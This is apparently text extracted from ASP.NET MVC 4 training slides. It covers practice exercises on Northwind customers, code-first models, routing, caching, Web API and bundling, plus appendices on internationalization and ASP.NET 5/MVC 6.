Northwind Customers and their Order History

Create an ASP.NET MVC Application with a home page
that shows a list of the company names of the 91
customers in the Northwind database
They should be grouped by country and be clickable hyperlinks
that go to a customer detail page (see next slide)

Exercise 1b

B. 3

Northwind Customers and their Order History

The customer details page should show
Company Name and City, Country
Order ID and Date of all the orders sorted with most recent first
with the order details including product name, quantity, price,
and sub-total, and a grand total for each order

Exercise 2a

B. 4

Code-First Models, Controllers, and Views

Create an ASP.NET MVC Application
Define models to represent Students, Exams, and
Attempts
Student: StudentID, FirstName, LastName, DateOfBirth
Exam: ExamNumber, Title

Attempts: StudentID, ExamNumber, When, Score

Create a DbContext and initializer that seeds the

database with exams for 70-480 and 70-486 and a
sample student named Bob

Exercise 2b

B. 5

Code-First Models, Controllers, and Views

Create controllers and views to allow
A home page with list of students and a list of exams
Clicking a student or exam shows a detail page for that
record
A student detail page that shows full name and date of birth
and a list of their exam attempts and scores, and the ability to
record a new exam attempt with date and score

An exam detail page with exam number and title and how many
people have passed or failed that exam

Exercise 3

B. 6

Routes
In the Exercise 1 application define a custom route so
that
Customer/ALFKI maps to the existing Home/Details/ALFKI
Ensure that a match only happens if five letters are specified

In the Exercise 1 application return an error response if

the user is running Internet Explorer version 10 or
earlier by defining a custom route handler

Exercise 4

B. 7

Improving Performance
Improve the performance of the Exercise 1
applications home page by using
Response.Cache: to cache the response in the browser for 3
minutes
[OutputCache]: to cache the response on the server for 5
minutes
Cache: to cache the model for 10 minutes

Add a refresh link next to each country that refreshes

just that sections list of company names using Ajax
Partial Page updates
Test the functionality by showing the home page, then adding a
new customer record for a country and clicking the link to
refresh that section

Exercise 5

B. 8

Web API and jQuery.ajax

Create an ASP.NET Web Application
Use the Web API template, add an Entity Data Model for
Northwind, and create a Web API 2 Controller for Customers
Add a Home/Customer action and view that uses jQuery to get
all customers name in a list box with their id as the hidden
value, get a customer by its id, and insert a customer

Exercise 6

B. 9

Bundling
Write a JavaScript function for calculating factorials
and store it in Factorial.js
For example, Factorial(5) would return 120
5 x 4 x 3 x 2 x 1 = 120

Write a JavaScript function for converting integers lie 1

into ordinals like 1st and store it in Ordinals.js
For example, ConvertToOrdinal(5) would return 5th

Create a bundle for your script libraries and create a

view that uses them both
Confirm that when debug is true they are not bundled and when
debug is false they are bundled and minified
Add a comment to one of the files and check that the bundle
hash has not changed

Exercise 7

B. 10

Security
In the Exercise 1 application disable anonymous access
and display the logged on username in the navigation
bar

Exercise 8

B. 11

Custom HTTP Modules

Create an HTTP module to log all requests to a file
Register it for use in a web application deployed to an
application pool set up for Classic mode and again in
one set up for Integrated mode

C. 1

Appendix C
Internationalization
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Designing ASP.NET MVC 4 Web Applications

C. 2

Contents
Exam Topic: Plan and implement globalization and localization
Plan a localization strategy
Create and apply resources to UI including JavaScript resources
Set cultures
Create satellite resource assemblies

Internationalization

C. 3

What Is It?
Internationalization involves
Localizing the user interface (load any UI text from resource
assemblies) by setting the UICulture property of the thread
Globalizing the code (e.g. DateTime.Now.ToLongDateString())
by setting the Culture property of the thread

ISO defines codes for language-region

en-US: English (United States)
en-GB: English (United Kingdom) NOT en-UK!
fr-FR: French (France), fr-CA: French (Canada)

Culture must be specific (language-region), e.g. fr-CA

UICulture code can be neutral (language only), e.g. da
ISO 3166-1-alpha-2 code
http://www.iso.org/iso/country_codes/iso_3166_code_lists/country_names_and_code_elements.htm

Internationalization

C. 4

Browser Requests Language Preference

Browser sends its preferred language(s) in header
Accept-Language = "Accept-Language" ":"
1#( language-range [ ";" "q" "=" qvalue ] )
language-range = ( ( 1*8ALPHA *( "-" 1*8ALPHA ) ) | "*" )

Each language-range MAY be given an associated quality value

which represents an estimate of the users preference for the
languages specified by that range
The quality value defaults to "q=1"

For example,
Accept-Language: en-gb;q=0.8 , da , en;q=0.7

would mean: I prefer Danish, but will accept British English as

second choice, and then other types of English.
14 Header Field Definitions
http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

Internationalization

C. 5

Internationalizing MVC
There are two localization strategies
By setting the thread to dynamically loading resource strings in
views shared by all languages
By using different set of views for every language (and region)

Two places to put .resx files

Add the special App_GlobalResources folder (.resx files will use
the GlobalResourceProxyGenerator custom tool): best for views
Create a Class Library project with .resx files: best for models

ASP.NET MVC 5 Internationalization

http://afana.me/post/aspnet-mvc-internationalization.aspx

Internationalization

C. 6

RESX Files and Satellite Assemblies

If using a separate project, such as a Class Library, by
default Visual Studio assigns the custom tool
ResXFileCodeGenerator which creates Internal classes
Change to PublicResXFileCodeGenerator: this tool embeds the
default resources in the main assembly in the bin folder and
creates sub-folders for other languages and cultures

Add a reference to this assembly from your MVC app

Deploy these private satellite assemblies to sub-folders
/bin/MyResources.dll: default resource assembly
/bin/fr/MyResources.resources.dll: French
/bin/fr-CA/MyResources.resources.dll: French (Canadian)
/bin/da/MyResources.resources.dll: Danish

C. 7

Internationalization

Views and Reading from Resource Files

In a View, import the namespace
@using ExternalAssemblyNamespace

@using Resources

If you created the .resx

in App_GlobalResources

then read from the class static properties

@Shared.Welcome

Or use

Must be in App_GlobalResources folder

@HttpContext.GetGlobalResourceObject("Shared", "Welcome")

To automatically import a namespace for all views

<pages pageBaseType="System.Web.Mvc.WebViewPage"> <!--/Views/Web.config-->
<namespaces>
<add namespace="Resources" />
<add namespace="ExternalAssemblyNamespace" />
Resx Files In App_GlobalResources
http://odetocode.com/Blogs/scott/archive/2009/07/16/resource-files-and-asp-net-mvc-projects.aspx

Internationalization

C. 8

Models and Reading from Resource Files

In a Model, import the namespace
using ExternalAssemblyNamespace;

then read from the class static properties

[Display(Name = "FirstName",
ResourceType = typeof(ResourcesForModels))]

Internationalization

C. 9

Views and Thread Culture

Views have properties that control internationalization
Culture: globalization, e.g. date and currency formats
UICulture: localization, e.g. loading resources

Both properties are strings, e.g. en, en-GB, auto

Two ways to set the internationalization properties
To set for views based on browsers Accept-Language header
<globalization uiCulture="auto" culture="auto"/>

To set for views based on a choice stored in Session state

@{ // _ViewStart.cshtml
Layout = "~/Views/Shared/_Layout.cshtml";
Culture = Session["favlanguage"];
// globalization
UICulture = Session["favlanguage"]; // localization
}

Internationalization

C. 10

Right-to-Left Languages
When writing web pages in Web Forms or MVC, the best
way to make text flow from right to left is to use the
dir (direction) attribute
When the value is set on the html tag the page displays
as a right-to-left page and a vertical scrollbar appears
on the left side
<html dir="rtl">

When the value is set on the body tag, frames and

captions do not inherit right-to-left direction
To override for individual controls, set dir for each
control to ltr
<table dir="ltr">

D. 1

Appendix D
ASP.NET 5 and MVC 6
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

D. 2

Versions
Year

Version

Version

New Features

2012

ASP.NET 4.5

MVC 4

Web API
Mobile support
Asynchronous support

70-486

2013

ASP.NET 4.5.1

MVC 5
Web API 2

Authentication filters
Override filters
ASP.NET Identity
SignalR 2
Bootstrap
Attribute routing

Unlikely

2015

ASP.NET 4.6

MVC 5.2.3
Web API 2.2

HTTP/2 support
Rosalyn compiler

2016

ASP.NET 5

MVC 6
(includes Web API)

Cross-platform (Windows,
Linux, Mac OS X)
EF7 support

ASP.NET 5 and MVC 6

D. 3

What Has Changed?

Flexible, Cross-Platform Runtime
.NET Core: a new, modular, cross-platform runtime with a
smaller footprint supports Windows, Linux, Mac OS X
.NET Framework: for backwards compatibility

MVC 6
Unified model for MVC, Web API and Web Pages

Tag helpers let you use HTML helpers in your views by simply
extending the semantics of tags in your markup
Integration with Bower, Grunt, and Gulp
Manage NuGet packages with project.json
Removed dependency on Web.config
Introducing ASP.NET 5
http://weblogs.asp.net/scottgu/introducing-asp-net-5

ASP.NET 5 Documentation
http://docs.asp.net/en/latest/index.html

D. 4

Bower, Grunt, and Gulp

Bower is a package manager for client-side libraries,
including both JavaScript and CSS libraries.
Grunt and Gulp are task runners, which help you to
automate your web development workflow. You can
use Grunt or Gulp for tasks like compiling LESS,
CoffeeScript, or TypeScript files, running JSLint, or
minifying JavaScript files.